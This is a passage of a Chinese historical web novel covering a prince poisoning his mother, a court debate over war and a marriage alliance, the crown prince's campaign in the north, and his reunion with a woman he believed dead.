“我会继续争,把母亲没做完的事做完。”萧回垂着头挠胳膊,整个人就像江南的梅雨天那样阴郁。
陈昀坐起身,瞪着他的眼睛:“你说什么?”
“我说,我会跟萧沃争,争皇位。”萧回吸吸鼻子,抬起头,跟陈昀笑,“为了我,母亲丢了后位,外祖父丢了官位,岳丈丢了命,过去我能退,我现在不能退了。我不想让我的妻儿对我失望。”
大概是陈昀眼里的光太亮了,她没看见萧回的眼里其实是暗淡的。
陈昀夸道:“好儿子。”
萧回笑了:“这是母亲第一次夸我。”
陈昀的心口顺了一点,她不停地说:“好儿子,好儿子,好儿子……”
萧回一直笑,眼里却是悲凉:您为什么不早一点夸我呢……偏偏在这个时候。
我又心软了怎么办,母亲,您应该继续打我、骂我才对。我们或许能有不一样的结局,我们或许能重新做回母子。
陈昀侧头,看他的食盒:“那是什么?”
萧回不动地界,也不回答,只是挠他的伤口,一边挠一边抖。
“带了好饭菜,怎么也不给母亲尝一尝。”陈昀小声说,“母亲还等着呢。”
萧回回过头望着她,凤眼中浸满了悲愤与遗憾。
陈昀怎么不知道那食盒中有什么呢?她在吃人的皇宫待了一辈子,她什么都知道。
“来吧,给母亲尝一尝,”陈昀声音有些抖,“母亲饿了。”
萧回别过头,下定了决心,从身后的食盒中拿出好的饭菜,一一摆在陈昀面前:“照儿亲自下厨,为母亲做了好饭菜。”
萧回把筷子递到了陈昀手上。
“好,”陈昀眼泪不止,她端起那碗饭,夹了菜和肉,大口大口地吃。
“母亲慢点,”萧回小声说,“我来晚了,应该早些带着好饭菜送给母亲。”
“没关系。”陈昀一边吃一边流泪,她吃得很快,不知道是萧回让她心碎,还是做饭的人让她牵挂。
萧回双手揣在袖子里,垂眸不语。
好儿子。
他盼望了这么多年,到现在这时候,才听见陈昀夸赞自己。
如果小时候,陈昀也会像现在这样夸自己就好了。
那样他就不会像现在这样,害怕面对别人失望。他肯定会认可自己,永远不会选择后退,也不会选择自暴自弃。
如果小时候母亲您能抱我、疼爱我、尊重我,我们的今天就不会是现在这个样子。
“咣当……”
饭碗摔在了地上,饭菜洒了一地。
萧回抬起头,看见陈昀口鼻流血,黑色的毒血马上浸染了衣衫。他不自觉地发抖,但他强迫自己直视陈昀的眼睛。
但,陈昀的眼里没有怨恨,也没有愤怒。她居然是轻松的,骄傲的。
“为什么?”萧回低声问,“为什么?”
陈昀喷着黑血,她双手撑着床边,不让自己栽倒。她抬起头,用口型对萧回说:
“对不起。”
陈昀向前栽倒,头朝地,一声闷响后,没了呼吸。
萧回瞪大了眼睛,汗浸透了里衣。
“为什么不恨我?我是养不熟的狼崽子。”
沉默。
“我亲手杀了你,你为何……还要夸我?母亲,我是十恶不赦的怪物,你得骂我,打我,恨我……”
沉默。
“我杀了你,为何不恨我?”萧回跪了下来,“母亲,对不起。”
他爬向了陈昀,把她捞起来,抱在了怀里。他发了疯似的帮她擦血,但擦不干净,还弄了自己一身脏污,血就像赎不完的罪。
那些困扰他的暴戾的、血腥的记忆如尘灰一样散去,萧回尝试从灰尘之下找寻一点陈昀爱过他的痕迹,但他找不到,原来他的母亲只有在死的这一刻温暖的。
萧回的伤疤霎时都变得奇痒无比,马上又变成了疼,他自责,他羞愧。
“母亲,我没办法。”萧回哽咽道,“你知道的太多了,我没办法,我只能这样……”
沉默。
萧回哭道:“娘……我后悔。”
55. 出征
两个月后,力剌进犯辽北。
因靖国公景皑与世子景思安滞留京城,辽北无人指挥应战,靖公军节节败退。并且力剌此次势头强劲,一改往日进攻思路,直指靖公军藏在北阴山的粮马道,切断了靖公军的补给线,重创辽北。
皇帝的书房内,灯火通明。
萧沃、萧回、温如璋、海益、以及新进内阁的吏部尚书郑珀、兵部尚书孔塬围在皇帝身旁,景皑、景思安父子跪在殿内,垂着头一言不发。
“十日之内,连失两城,力剌人屠城,死伤百姓七万人。”皇帝摩挲着玉扳指,斜眼睥睨景皑父子,“好啊,干得漂亮。”
景思安身体微颤,刚想争辩就被景皑拉到了自己身后,景皑磕了个响头,恳切道:“陛下,臣知罪。”
“朕不过是让你多在京中留了几日,辽北就败了。”皇帝倒吸一口凉气,“你是想告诉朕,辽北没你景皑,就不行了吗?十万靖公军,没你一个,就打不了仗了,对吗?”
景皑道:“是臣没能安排好。”
“陛下,军不可一日无主帅。”萧沃眉头紧蹙,“现在不是算账的时候,应该尽快命靖国公父子北上,及时止损。”
景皑说:“臣愿戴罪立功!”
皇帝不语,端起茶杯抿了一口。
景皑继续说:“从京城到辽北,快马只需三日。臣请即刻北上,亲率八千精骑,七日内夺回北阴山粮马道!”
皇帝的拇指不停擦过茶杯边缘,盯着沙盘眉头紧皱。
萧沃看一眼景皑,对皇帝说:“陛下,此刻晚一时发兵,辽北就有无数百姓枉死。不可再迟了。”
皇帝眼皮低垂如老僧入定,只有摩擦茶盏边缘的手在缓缓移动。
景皑知道,这是皇帝在给自己机会,他继续说:“北阴山为东南-西北走向,这七日内,臣会集中火力猛攻粮马道东部,而南北有山阻挡,力剌人必定会退至西北野狼谷。臣会让景思安经由鹰州小渡口,携一千人到此埋伏,从而切断力剌人的退路。”
景思安补充道:“陛下,父亲说得有理。力剌人不清楚辽北地形,他们不知,天辽江支流会在鹰州向东北拐弯,四年前,父亲建了小渡口,我们恰好可以在此绕到敌后。臣与父亲南北夹击力剌人,恰好可成‘围三缺一’之势,诱敌入瓮。”
皇帝看向景皑父子,喉头滚动。
景皑道:“辽北三十万百姓……不能成为力剌人的刀下亡魂。臣恳请陛下给臣一个赎罪的机会!”
景皑与景思安重重地磕了一个响头。
皇帝看向身后的萧沃:“太子,你怎么看?”
萧沃也跪下,求道:“臣愿为监军,随靖国公北上。”
“七日内,臣若夺不回粮马道,臣便听凭太子殿下处置——以死谢罪!”景皑与景思安磕头。
烛心“噼啪”作响,皇帝的瞳仁骤然紧缩,把茶盏使劲磕在沙盘边缘,道:“好一个军令状!”
萧回不咸不淡地来了一句:“粮道已毁,夺回残骸何用?靖公军吃了这么大一场败仗,父皇,若还把兵权交予景家,辽北七万冤魂该如何瞑目?剩下的辽北遗民,何时才能等到战事平息?”
“临阵换将是为大忌!”如今的内阁首辅温如璋说,“靖国公驻守辽北二十年,靖公军上下一心,此刻再调其他武将去辽北,那才是把辽北百姓架在火上烤!”
“上下一心?”萧回饶有兴致地说,“温阁老的意思,是靖公军只效忠靖国公一人了?这辽北,是姓景,还是姓萧?!”
温如璋怒道:“你——诛心之论!此时挑拨离间,屹王殿下,你意欲何为!”
“本王只是想提醒靖国公,靖公军不是你景家的府兵。”萧回看了一眼身旁的萧沃,讥诮地勾了勾唇角,“你能夺回粮马道还则罢了,若输了呢?杀光你们景家人,辽北死的百姓,就能活过来吗?丢的城池土地,就能拿回来吗?!别拉着整个朝廷陪你们赌!”
温如璋气得直跺脚:“殿下,您也是武将,很多兵家大忌都不用旁人来说!若力剌进犯的是西北,老臣不信您还能说出这种话!”
萧回说:“事实是力剌选择的是辽北,潼裕安然无恙!温阁老,说那没味的话有意思吗?”
温如璋对皇帝说:“昔年李牧守赵,君臣相疑而邯郸沦丧!陛下,切以史为鉴,万不可重蹈覆辙!”
“够了!”皇帝瞪了一眼温如璋,“吵了那么久,吵出个办法来了吗?!”
萧回对皇帝说:“依儿臣看,辽北一败涂地,已经错失突围良机。即便让靖国公北上,也来不及了。”
皇帝问:“那该当如何?”
“议和。”萧回肃声道,“死了那么多人,百姓已然承受不住新一轮战事。粮马道已毁,靖公军苦战,又能战到何时?北方夏短,兵士挨得过冬天吗?百姓又挨得过冬天吗?我们何不与力剌议和?”
温如璋急忙回道:“不打了?!我朝养了那么多兵,死了那么多百姓,不打了?”
“是暂时议和,又不是一直不打了!”萧回怼道,“先把这段时间挺过去,养精蓄锐!等新的粮马道建好了,再谈开战又不迟!”
海益说:“旧的粮马道已然暴露,不可再用。重建一条新粮道,从选址到建成,要一年时间。”
萧回说道:“父皇,力剌王庭内斗已久,虽然力剌可汗主战,但其叔父左贤王一向主张与我朝议和。和约一旦敲定,至少能休战五年!这段时间,足够我们加固边防,何乐而不为?”
皇帝眯起了眼睛。
萧沃反问萧回:“屹王可知力剌要价?前朝王庭与蛮夷议和,今日割五城,明日丢十城,终至国将不国!如今我们还要议和,力剌提什么要求都答应,底线在哪,退路又在哪?”
“跪着求来的和平……”温如璋反问萧回,“力剌那种野蛮人,难道会遵守和约?”
萧回:“这是议和,不是求和,一切都好商量!”
萧沃失望地说:“求和、议和,不过一字之差,有何分别?”
“议和……”皇帝看向萧回,轻声说“力剌人虽反复无常,但只要能坚持到辽北粮马道重新建成……倒也——”
“陛下,臣也觉得,此时议和,胜过顽抗。”孔塬说,“辽北兵败,士气不振,确实不宜开战。此刻议和,还能与力剌谈条件,若再晚几天,辽北败得无回天之力,那我
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们便真成了俎上鱼肉——任人宰割。”
景皑以膝盖为足,挪向皇帝:“陛下……求您再给臣一次机会……以退求和,不可啊!”
皇帝假装没听到景皑说话似的。
萧回颇为得意地瞥一眼萧沃:“儿臣以为,此时应派出嫡公主和亲,彰显我朝和亲决心,定能与力剌结为秦晋之好。儿臣愿为使臣,与力剌商讨停战事宜。”
景思安声音沙哑:“陛下,不可!这是资敌啊!”
皇帝拂袖打落茶盏,碎瓷片落在了萧沃膝盖边缘。
皇帝指着景皑的鼻子:“你这好儿子,是嫌辽北的血流得不够多吗?”
“和亲如果有用,前朝给蛮夷送了十多位公主,为何还落个亡国的结局?”萧沃泄了口气,“泊舟,陛下膝下仅有一位昌宁公主,她是你的胞妹,你竟忍心让她去跟蛮夷和亲!”
萧回抬高了声音:“为了大燕百姓,我别无选择!”
“以退为和,前朝因此灭亡,我们还要重蹈覆辙吗?”萧沃咬牙道,“陛下,靠一个女人,靠一桩婚姻,换两国和平——世上没这么便宜的事。唯有筑国防,唯有以战止战,两国才有和平可谈!”
温如璋跪下,说:“陛下!户部尚可支撑辽北战事!”
皇帝再次沉默。
萧回说:“太子殿下——还要臣说多少遍,和亲只是权宜之计,又不是永远不打了……”
“一步退,结果就是步步退。”萧沃直接打断了萧回,义正言辞,“只有一步不退,才可让蛮夷正视大燕,此战方有转机。”
萧回冷笑。
萧沃知道,皇帝迟迟不肯让景皑景思安离京北上,是为忌惮。景皑驻守辽北二十年,没打过一场败仗,辽北人识景不识萧,逐渐与上京离心。
皇帝倾向于萧回孔塬等“主和派”,实际也是想借和亲,削弱景家势力、逐渐收回辽北兵权。
但大燕不能退。这场仗,必须要打下去。
不仅是为了一时的和平,更是为了大燕千秋万代的和平,他们半步都不能退。
“陛下,辽北战败,靖国公难辞其咎。”萧沃深吸一口气,“臣以为,靖国公景皑,不宜再为靖公军主帅。”
皇帝一听,直接站了起来。景皑、景思安大惊失色。
温如璋小声道:“太子殿下……”
“即日起,靖国公当交出兵符,闭府思过。”萧沃肃声道,“然为大燕江山稳固,辽北不可停战。臣愿为君出征,驻守辽北,不破……不还。”
温如璋急道:“太子殿下,您为储君,怎可——”
“臣为储君,当为君父、为百姓守国门。”萧沃叩头,“臣望陛下恩准。”
皇帝愣了片刻,竟笑了出来。
由萧沃当这个主帅,确是再好不过了。
靖公军唯景家马首是瞻,而萧沃身上有一半景家的血脉,必定会对萧沃俯首称臣。
当然,萧沃又是储君,这场仗若赢了,就能将景家兵权尽数收回。若输了,抑或他战死沙场,刚好可以易储。
“太子大义,不愧吾儿。”皇帝笑道,“准了!”
萧沃叩头:“谢陛下!”
56. 开拔
皇帝下旨,辽北靖公军更名为征虏军,太子萧沃为主帅,靖国公世子景思安戴罪立功,为征虏军副帅,领三百东宫卫,三日后北上。
离京那日,上京难得艳阳天,为他们送行的只有太子妃景思娴和三皇子萧沅。
景思娴揽着萧沅的肩膀,望着萧沃似有所言。
萧沃蹲下来,抬眸望着萧沅。他为萧沅整理好衣襟,轻声说:“大哥走了以后,你也要记得好好地老师读书。”
萧沅使劲点头,他也不叛逆了:“我肯定听大哥的话。”
“大哥不求你成才,沅,读书并非为了成才。”萧沃柔声说,“读书是为了让自己变得心平气和。我们这种人被困在一方小天地中,各种各样的坏心情都会被放大,读了书,起码知道外面天大地大,就会想往外走,不至于把自己困住。”
萧沅似懂非懂地点头。
萧沃知道,萧沅这个年纪是听不懂的。他或许就能听懂那句“读书并非为了成才”,但萧沃不知道自己还能不能活着回上京,所以这些话,就当是他最后一次嘱咐萧沅。
萧沃双手捧住萧沅的脸,他得把弟弟的模样记住了:“好沅弟,要常给哥写信。”
萧沅点头。
“我为殿下和世子都做了披风。”景思娴从侍女的托盘中拿起第一件绛红色的披风,她展开后,披在了萧沃的身上,系带的时候,她的动作很慢。
萧沃垂眸望着景思娴,看清她眼底的泪。
“表哥从未上过战场,万事……自保为上。”景思娴小声说,一个领结,她系了又拆开,拆了又系上,“辽北冷,表哥又一身旧伤,一定要注意御寒保暖。”
萧沃轻声说:“好。”
“上京城中一切都有我,不必担心家里。”景思娴终于打好了领结,垂眸看见他腰间玉带上悬挂的棉布香囊,她被烫到似的连忙收回手。
景思娴又拿起第二件披风,为景思安披上,她为他整理好鬓发,挤出一个笑来:“栖云呀,一定要听表哥话,知道吗?切记,不要贪生怕死。”
萧沃打趣道:“劝我自保,反而告诫栖云别怕死,这世上竟有太子妃这种姐姐。”
“不一样!”景思娴怼道。
“姐,我都明白。”景思安握住景思娴的手,“我一定保护好表哥,一定打胜仗。”
“长大了。”景思娴心疼地望着弟弟,“我和爹都盼着你们平安回来。”
景思安乖乖地点头。
“栖云青出于蓝只会胜于蓝,娴妹,别担心了。”萧沃拍拍她的肩膀,“早些回去吧,再多说点动情的话,我们都舍不得去辽北了。”
景思娴用帕子擦擦眼泪,往后退了一步,小声道:“走吧,别耽误时辰。”
萧沃景思安跨上马,向北去。
萧沅追在他们的马后,大喊:“大哥,表哥!”
萧沃勒马。
“平安归来!”萧沅喊道。
萧沃回眸,看见萧沅跟个小豆子似的,跳着跟他们挥手告别,顿时感觉眼睛够涩了。
萧沃挥手跟萧沅、景思娴告别。余光看见城墙上,萧锦与萧回立于高处,也看着这边。萧锦扶着城墙,好像在哭;萧回的脸则沉在阴影中,仅能看清他的月白色长袍。
萧沃急忙收回目光,夹紧马肚,一行人开拔。
黄沙淹没了离别的愁。
—
五日后,辽北中军大帐。
“殿下为何不采取父亲策略,借道鹰州小渡口,于北部野狼谷设伏呢?”景思安看着沙盘,疑惑不解道,“放弃粮马道,真的可行吗?”
萧沃提着檀木鞭,顺了一遍力剌人的行军路线:“你看,力剌这一路,放过鹰、枭二州,直取粮马道。想当初,粮马道的位置可是由靖公军的堪舆师选址,秘密动工完成。只有舅父和内阁几位重臣知道其位置,力剌人又是怎么知道粮马道的位置?”
景思安恍然大悟:“殿下的意思是……有人通敌?”
“斩草不除根,后患无穷。”萧沃提着檀木鞭指向野狼谷,“恐怕这里已经让力剌人设满了埋伏,我们再派人去,无异于自投罗网。”
景思安问:“殿下,那我们该如何?”
萧沃指向鹰州小渡口:“文阁,你带五百骑兵到此,记住,放空船过河,兵马不要过江。若有力剌伏兵,必然会攻击我们的船。这样,便可确定那日的朝堂上有内鬼。”
文阁点头:“好。”
“去准备吧。”萧沃朝门外抬了抬下巴,支走了文阁,房中只剩下他跟景思安两人。
萧沃看向景思安:“放出消息,太子会亲临战场。我会带人进攻粮马道的东南起点、枭州。三天后,你要扮成我的模样,带第三支队伍收复隼州。有‘太子’这个靶子,力剌人会把枭州的兵力调去隼州,你要不惜一切代价坚守十日。”
景思安:“好。”
萧沃说:“这十日,必须转移所有百姓,我要一座空城。”
景思安:“好。”
“十日后,你要假装弃城逃跑,实则留四成兵力藏于城中。”萧沃沉了口气,“待力剌人入城后关闭城门,我会派人驰援你。”
萧沃用木鞭点了点隼州的位置:“这,就是我给力剌人准备的坟墓。”
“殿下——殿下——营外有奸细!”帐外想起文楼的声音,说罢,他就已经扭送那人来到萧沃帐中。
萧沃与景思安都吓了一跳,纷纷起身:“奸细?”
“太子殿下!是我!”说话的正是一个穿着破棉衫、蓬头垢面的男人。他的胡子许久没修剪,又脏又乱,像被人泼了剩饭剩菜的荒草。他身上还有股臭气,估计有好几年没洗澡!
“放开他!”萧沃匆匆绕到沙盘前,把他扶了起来。
萧沃扶着人,与景思安看了很久,才认出来这人是谁。萧沃用自己的手帕擦去他脸上的灰尘,盯着他铮亮的眼睛许久,惊讶道:“菊知?!”
来者正是温如璋的独孙,前国子监夫子、温潜。
“这是温菊知?”景思安不敢相信,平时里温文尔雅、知书达理的温潜,竟变成现在这副模样,“活脱脱像个叫花子,这竟是温菊知?!”
“是我!”温潜往后退了两步,“殿下和世子的脚程太快,我险些就追不上了。瞧着狼狈模样,半路上,我跌进一个臭水坑。本想找个驿站休整,却怕追不上大军,只好连夜奔波。”
萧沃心里暖烘烘的:“你这是……”
温潜作揖行礼:“我来投军。”
“放着好好的国子监夫子不做,你来着凶险之地作甚?!”萧沃一把将他拉起来,“快回去!你有个三长两短,先生怎么办!我又如何跟先生交代!”
“我已说服祖父,亦向陛下请辞,国有难,岂有退避之理?”温潜说,“何况,菊知与殿下、世子一起长大,你们都上了战场、为国效力,我在府中又怎么坐得住呢?”
萧沃欣慰道:“菊知啊……”
“而且我来
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,并非是脑子一热。”温潜从怀中取出一个已经揉烂的字条,递给萧沃,“在殿下离京后,有人把这个送到了温府。”
萧沃展开一看,字条上用小楷写着“重臣通敌,太子危”七个字。
景思安说:“果真如殿下所料!”
萧沃问:“这字条是谁送的,知道吗?”
温潜摇头:“这字条藏在我的糕点中,我去问过小厨房,他们却说,糕点从做出来到送至我房中,无外人经手。我怕惊动了祖父和其他人,便没再声张。”
萧沃看了半天字条,便把它给了景思安。景思安左看右看,说:“这字写得……不知道的还以为是王右军现世,一点个人的风格都没有,根本看不出是谁的笔迹。”
“此人是在故意隐匿自己身份。”萧沃提了一口气,“还要接你的手把消息递给我,这人……会是谁呢?”
温潜说:“反正猜也猜不到,这人倒是给我们提了个醒。”
萧沃问:“字条的事,只有你自己知道吗?”
温潜点头:“对,连祖父我都没告诉。”
“好,”萧沃捏紧了字条,呢喃道,“太子危……我可真想知道,这准备害我的人——是谁啊……”
温潜与景思安对视一眼,彼此心中都有一个朦胧的答案。
—
又三日后,萧沃领一万骑兵准备攻打枭州城。开战前,鹰州小渡口来报,野狼谷力剌伏兵袭击空船。
“那人说的没错,必有重臣通敌。”温潜点燃火折子,烧掉了线报,“殿下英明。”
萧沃站在山林中,眺望远处硝烟弥散的枭州城:“待我收复枭、隼二州,你再用这个词形容我。”
“好——”温潜抬头望天,掐指算时辰,“天色发黄,在等一刻,必起尘暴。殿下,良机千载难逢。”
萧沃面如静水,吩咐文楼:“传令下去,一刻后,放箭。”
话音刚落,地上飞沙走石,萧沃屏息凝神,已经听见了风沙赶来的声音。他架起千里镜,看到西北方有齐天高的沙暴向枭州袭来。
时间一点点流逝,一刻钟过后,萧沃打了个“放箭”的手势。
一刹那,万箭齐发,箭上燃着火焰,如一条龙,飞向枭州城。沙暴至,风引烈火、火借风势,枭州城滚起来熊熊烈焰。
天地一片昏黄,很快,站在山坡上就看不见对面的城池了。
萧沃带上面罩,风沙掩盖了他的容貌,他骑上马,拔出身侧的血罗衣,剑指枭州城。
“杀——”
辽北军像一批狼,猛地扑向枭州。城内的力剌人灭火还来不及,又因沙暴看不清辽北军又是从哪爬上了城墙,只得用箭胡乱地向城下射。
城门外,辽北军抱着圆木撞城门,笳鼓阵阵,喊杀声此起彼伏。不过两次冲锋,守城的力剌人溃败,萧沃打开了枭州的南大门。
他策马冲进城中,见一个力剌人就杀一个。
沙暴来了整整七日,辽北军也在枭州城内杀了七日。路上随处可见力剌人的尸体,城中河已经被染成了红色。
与此同时,“太子”对隼州城发起猛攻,力剌人退出枭州,奔往隼州。力剌可汗集中所有兵力攻打隼州,势必取大燕“太子”的项上人头。
开战第八日,力剌人全面退出枭州,辽北军战旗再次于枭州城墙上飞扬。
开战第九日,萧沃的人完成清点,他命温潜、文楼带五千骑兵留在此处守城,自己则携两千骑兵奔往隼州。
57. 重逢
隼州城门打开,力剌左贤王阿诗金率兵进城。
城内空无一人、满目焦炭。力剌的马踩在一地的尸骨上,人骨碎裂的声音此起彼伏。
阿诗金警惕地往城中走,隼州于他们而言,是失而复得。
十多天前,“景思安”趁沙暴来临夺走枭州,幸好自己及时调整战略,集中火力保住隼州,“太子”在隼州苦战十日终败走。
阿诗金看着空荡荡的城池,鼻尖都是焦炭与血腥味,他忍不住深吸一口气,再缓缓吐出。他的马缓缓停在,阿诗金跳下,向远处一块金灿灿的东西走去。
他弯腰捡起那东西,举起展示给身后的力剌兵看,用力剌话大喊道:“是金冠!大燕太子的金冠!”
话音刚落,一支箭从后刺穿了阿诗金的头颅。他瞪大了双眼,还没来得及看清是谁杀了他,就倒地而亡了。
“咚”地一声,城门紧闭,随后是三声鸽哨响。
鬼一样的辽北军围了过来。
……
辽北的战争持续了整整三年。
这三年中,萧沃收复失地,将力剌人打退至北阴山之北两百里,重建粮马道与枭、隼二州。力剌可汗不堪战争重负,终于第三年秋,主动向大燕求和。
力剌可汗愿意赔战马、送子进上京为质,这些萧沃都不满意。
他又加了一个条件——交出大燕通敌臣子名单。
—
第三年冬,太子萧沃、靖国公世子景思安回朝。
从辽北到上京,萧沃这一路走得很慢。原本只需要四五天的路程,他磨蹭了十多天才抵达京畿。他命人在枫林中驻扎,自己则骑马往枫林边缘去,眺望远处的上京城。
月光落在皑皑白雪上,映出一轮轮皎洁的光芒,映在他的白色披风上,也映在他腰间满绣槐花的香囊上。
故地未变,故人却非故人。
四年前,他曾与兰见春在这里跑马,还在这里遇刺。那时,自己还是岷王,寄希望于她能杀进晦朔司,为自己打开一条路。
而现在,他已经是太子了,过去他想要的一切都有了。
但那个陪他在马背上肆意驰骋的人却不在了。
长夜漫漫,月光拂过他斑白的鬓。
风在低语,似有所言。
四年,你坟上的野草,也该比我的膝盖高了。
这些年来,我长了不少白发,被辽北的风沙吹得苍老了不少。如果有机会,我们再相遇,你一定认不出来我了。
我比以前更讨厌冬天了,冬天一来,我身上的伤就疼。好在有你的香囊,虽然它早就没了香气,但我抚过上面的小槐花,我就感觉回到了宗正寺的那个晚上,我就能闻见你身上的香气,我就能睡得很安稳。
春天又要来了,我很想你。
萧沃敛眸,轻轻夹紧马腹,回身向营地去。
“簌簌簌……”是雪从树上掉落的声音。
萧沃顿时警觉,抽出血罗衣防身。他环顾四周,黑洞洞的什么都看不清。太阳穴不断渗出冷汗,他的心狂跳起来。
他有种不祥的预感。
身||下的马慌乱地原地打转,他看周围的枫树,越看越觉得不对劲,这似乎不是他来时的那条路。
他夹紧马腹,催促其往前走。
“簌簌簌——簌簌簌——”
数道黑影从天而降,挡在了萧沃的四面八方。他看不清他们的脸,但能看清他们手上明晃晃的刀剑。
萧沃攥紧了缰绳,马也因害怕而缓慢后退,后蹄在雪地上刨出深坑。
说时迟那时快,位于萧沃身后的刺客顿时飞身而起,持刀向萧沃杀过来。他察觉到身后寒流涌动,抛出血罗衣,在反手握住,以一种奇怪的姿势向后仰,抵住从后劈来的刀。
刺客被震得钢刀脱手飞出,刺进旁边的树干上。
此刻,位于萧沃正面和两侧的刺客快速逼近,眨眼间,几乎同时跃起,举刀杀向萧沃。他急忙拧腰,挥动血罗衣,刺中离他最近的刺客的心脏。刺客闷哼一声,萧沃趁机甩开马镫,抬腿踢开了剑上的尸体。
尸体的双脚尚未落地,萧沃头顶又压下了一股劲风。又一个刺客飞过来,长刀咆哮着就要咬他的天灵盖。萧沃瞳孔急缩,完全来不及躲闪,只能勉强偏头。
“铛——”的一声乍响!
一支不知从何处飞来的冷箭,撞飞了那刺客的长刀,刀擦过萧沃的鬓边,仅削断了几根白发。
就现在!
萧沃挥刀砍掉了那刺客的头颅。
“嗖——嗖——嗖——”是箭簇破风的声音,萧沃听见箭刺进人皮肉的声音。还没等他回过神,匆促的马蹄声向他逼近,一只手抓住他的衣襟,直接将他拎了起来,拉到了另一匹马上。
“趴下!”那人大喝道。
萧沃俯身,抓住了马鞍。
那人手速飞快,取箭、上弦、箭无虚发,很快就处理掉了那些刺客。马快速地往枫树林外奔逃,这一路上,刺客纷纷死于那人箭下。
那人下马,走到那些刺客的尸体旁边,用匕首割开了他们的衣衫。
一个、两个、三个……身上都有一块碗大的烫伤疤。
又是“上位”。
这场景,与四年前一模一样。
萧沃头昏脑涨,等逃出了枫林,来到空旷的雪地里,他才敢喘||息。
“多谢……多谢……”萧沃呢喃着。
等到四野归于平静,那人下马,牵着缰绳往前走。萧沃仍保持着在枫林中的姿势,趴在马上,浑身颤抖。
“太子殿下,已经没事了。”
他才反应过来,说话的是个女人。他猝然支起身子,恰好对上那人琥珀色的眼眸。
一瞬间,天地停止旋转,萧沃的呼吸都停滞了。
“是我疯了,还是我死了?”
她不说话。
“这是上京郊外,还是黄泉路上?”
“殿下,别来无恙。”兰见春朝他笑。
她转身看向萧沃时,月光恰好落在她的脸上,显得她纯净得一尘不染。萧沃抓住缰绳,连滚带爬地摔下马,连滚带爬地抓住她的手,握住她的肩膀。
“是梦吗?”
兰见春摇头:“不是。”
萧沃皱紧眉头,难以置信:“在我怀里断了气的人啊……怎么,怎么还能……”
兰见春说:“我没死,我一直都活着。”
萧沃松开了她:“假、假的……”
“是司丞救了我。”兰见春握住萧沃的手腕,“三年前,司丞在一道士的协助下,躲过了白云观大火,返回上京。之后,司丞联合吴同知和何千户,将毒酒换成了特制的毕息散。发作时与毒药无异,但不会取我性命。”
萧沃望着她,不敢相信,浑身颤抖着。
兰见春继续说:“司丞将我救走,收我为徒,与吴泪、何白为同门。这三年来,老师日夜不停地训练我,直到
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我成为比师姐们都要强的刺客。”
“这些年,你得吃了多少苦?”萧沃心疼地说,“见春,这真的不是梦吗?”
兰见春拧了一把他的侧腰。
“疼疼疼!”萧沃龇牙咧嘴地,“你怎么使那么大劲!”
“疼吧?”兰见春得逞了,笑道,“那就不是梦。”
“你跟我有仇啊你!”拧得萧沃直冒汗,他擦擦脑门,问,“你怎么知道我在这?”
“温潜。”兰见春说。
萧沃感觉头疼得要炸了:“那字条,是你们送的?”
“是。”兰见春说,“它也不是藏在什么糕点里,而是由吴泪亲自送到他手上的。三年来,老师一直关注辽北军情,亦得知殿下得到了名单,肯定会有人坐不住,要毁了这名单。便命我离山,护送殿下回京。”
萧沃感觉被一道雷从上之下劈成了两半:“这一路,你都在我身边?”
兰见春答:“是。”
“我竟然不知道……”萧沃眼珠子要蹦出来了,“我竟然什么都不知道……”
兰见春笑道:“若让您察觉到我的存在,那我这三年算是白费力气了。”
萧沃苦笑,笑着笑着就泣不成声了。他抱着脑袋瘫坐在地,疲惫和惊喜冲散了他的四肢百骸。
风当过旷野,雾气从四周慢慢向中心笼罩,萧沃双手撑着脑门,将这三年来的委屈、恐惧一股脑都注进眼泪里流出。
兰见春则站在他身边,默默地等到他哭完。
她抬起头,望着朦胧的天,望着逐渐变得柔和的星月,心却很平静平静。
在山中的每一天,她都在设想与萧沃重逢之日的场景。
起初,她认为自己肯定会与他抱头痛哭;后来,她慢慢变得平静,想起他的时候,也不会流泪了——她以为萧沃成为了太子,又立了军功,他肯定将自己这个过客一样的人忘得干干净净了。
再后来,她离开乔竹心的保护,不远千里来到辽北,透过山呼千岁的人群,看见马背上的萧沃,看见他如少了一魄般痴望着南方,看见他眉宇间笼罩的愁绪,看见他腰间发黄的香囊,她竟又忍不住为他而热泪盈眶。
或许是在山中不见光的这三年改变了她,又或许是她已经度过了重逢时的惊喜,此时此刻,兰见春胸中无惊雷,面上更无波澜。
她说:“三年,漫长得像是过了一辈子。”
她伸出手,试图触碰天上的月亮,雪花落在她的指尖,很快就化为了一点水,消散在风中。
“这样的好天气,我很久没见到了。”兰见春轻声说,“我想,未来应该都是这种好天气了。”
萧沃伸出一只手,握住了兰见春的手。他抚摸她手心的茧子,隐隐发痒。
兰见春垂头瞧他,任由他抓着自己的手。
相比三年前,他老了不少,鬓角有了白发,眼尾有了又细又浅的皱纹。但光芒一点点地汇聚在他眼中,好像初见时那个“景公子”又回来了。
“你还走吗?”他问。
“我会一直护送殿下,直到名单送到陛下手上。”兰见春说。
“我问的是以后。”
兰见春:“等一切都结束,老师说,我就自由了。”
“那时什么时候才算‘结束’?”
兰见春俯身,为萧沃擦去了额角的血迹:“赵鹤的死并不是结束,‘上位’还活着。我这次回来,就是要跟殿下联手,将他们连根拔起。”
58. 赐婚
翌日清晨,城门打开,萧沃骑在高头马上,身后是景思安、温潜,再之后是力剌质子的马车、东宫侍卫……他们慢慢地穿过城门,穿过人声鼎沸。
“太子殿下!”
“太子殿下!”
“英雄——”
“威武!”
“威武!”
……
萧沃一直向身边的百姓颔首致意,他看起来很平静,但余光一直在人群中寻找着一个身影。他在高处有些慌张,手掌不停摸索缰绳,人们的目光太灼热了,他浑身都不自在。
而景思安不停地向百姓作揖,就差俯下身跟他们握手了;与楼上掩面而笑的女子挥手问好,逗得人家害羞脸红;甚至兴奋得挥剑,故意做出凶神恶煞的表情,与戏台上唱赵子龙的戏子隔空“斗法”。
温潜忍俊不禁,景思安十九岁,正是爱装的年纪。又打了这么一场大胜仗,嚣张一点也情有可原。
忽然,景思安消停下来,他看向人群中央,顿时红了眼眶。
萧沃与温潜顺着他的目光看去,发现景皑就藏在人群中。他骄傲地笑着,朝他们挥手。
“威武!”景皑喊道。
萧沃听见了,景思安也听见了。
景思安揉揉肿胀的眼睛,不敢往那个方向看太久,他继续朝另一侧的百姓挥手、吹口哨,但余光看见景皑挤过人潮,试图追上他们的队伍。
他们都是景皑的好孩子。
萧沃期待地往远处看,可能人太多了,他并没有看见她。
阳光暖融融的,他闭上了眼睛,让光芒融化在四肢百骸、五脏六腑。透过人声鼎沸,他听见了一阵风来,听见了一粒尘埃、乘风而去。
他闻见了麦子一样安稳的香气。
是她。
